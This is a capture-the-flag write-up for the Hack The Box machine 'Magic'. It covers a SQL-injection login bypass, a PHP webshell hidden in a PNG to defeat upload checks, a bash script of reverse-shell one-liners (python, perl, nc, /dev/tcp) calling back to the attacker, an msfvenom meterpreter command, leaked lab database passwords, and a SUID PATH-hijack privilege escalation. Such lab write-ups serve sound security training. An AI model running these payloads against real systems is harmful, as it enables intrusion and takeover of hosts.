Magic - Hack The Box

Magic starts with a classic PHP insecure upload vulnerability that let us place a webshell on the target host and then we exploit a subtle webserver misconfiguration to execute the webshell (even though the file name doesn’t end with a .php extension). Once we land a shell, we escalate to another user with credentials found in MySQL and priv esc to root by exploiting a path hijack vulnerability in a SUID binary.


  • Bypass the login page with a simple SQL injection
  • Upload a PHP webshell after bypassing the file type and extension restriction
  • Find DB credentials, then find the password for user theseus in the MySQL database
  • Privesc by hijacking the PATH of a SUID binary


Website and initial shell

The website is just an image gallery with a link to upload new images at the bottom.

The upload page is protected by a login form for which we don’t have valid credentials.

We can try some default credentials like admin / admin on the login page but they don’t work. Next we’ll try a very simple SQL injection like ' or '1'='1 in the password field. This makes the password condition return True and we’re able to pass the authentication check.

The application filters out what we can upload so we’re not able to upload a PHP webshell with the .php extension.

The application also checks the content of the file so even if we rename the file to a valid image extension it fails the upload check.

By using a valid PNG image and inserting PHP code in the middle of the file we can pass the magic bytes check and the application will think it’s a valid image.

To bypass the extension check, we can append .png and it will still execute the file as PHP code when we send the GET request to /images/uploads/snow.php.png. This happens because of a subtle misconfiguration in the htaccess configuration file. The regular expression only checks if the .php string is present in the filename, not that the file name actually ends with .php.

<FilesMatch ".+\.ph(p([3457s]|\-s)?|t|tml)">
SetHandler application/x-httpd-php
<Files ~ "\.(sh|sql)">
   order deny,allow
   deny from all

Now that we have uploaded the webshell we have remote code execution:

With the PHP webshell, I can fetch a bash script from my box and get a reverse shell through Perl:


The bash script will try various methods to get a reverse shell back to us:

if command -v python > /dev/null 2>&1; then
        python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("",443)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'

if command -v perl > /dev/null 2>&1; then
        perl -e 'use Socket;$i="";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

if command -v nc > /dev/null 2>&1; then
        rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 443 >/tmp/f

if command -v sh > /dev/null 2>&1; then
        /bin/sh -i >& /dev/tcp/ 0>&1

Privesc to user theseus

In the web application directory /var/www/Magic, we find a PHP script db.php5 that contains the database configuration file for the web application with the mysql username, password and database name.

class Database
    private static $dbName = 'Magic' ;
    private static $dbHost = 'localhost' ;
    private static $dbUsername = 'theseus';
    private static $dbUserPassword = 'iamkingtheseus';

The mysql CLI client isn’t installed on the machine so we’ll have to do port forwarding to reach port 3306 listening on localhost. There’s many ways to do this, here I’ll use a meterpreter shell to port forward 3306.

msfvenom -p linux/x64/meterpreter/reverse_tcp -f elf -o met LHOST= LPORT=5555

We can now log in to MySQL and we find another password in the login table.

We can use the Th3s3usW4sK1ng to su to user theseus:

Privesc to root

Looking at SUID files, /bin/sysinfo stands out because it’s not a standard Linux binary.

The program just seems to be running a bunch of standard Linux programs like free.

By using ltrace, we can confirm this and see that the program uses the popen function to execute programs:

The program is vulnerable because we control the PATH and the program doesn’t use the absolute path to execute the programs so we can execute anything we want as root. To get root I’ll just create a script that sets the SUID bit on /bin/bash, name it free and call /bin/sysinfo after setting the path to my current directory so it doesn’t execute the real free program but my own script.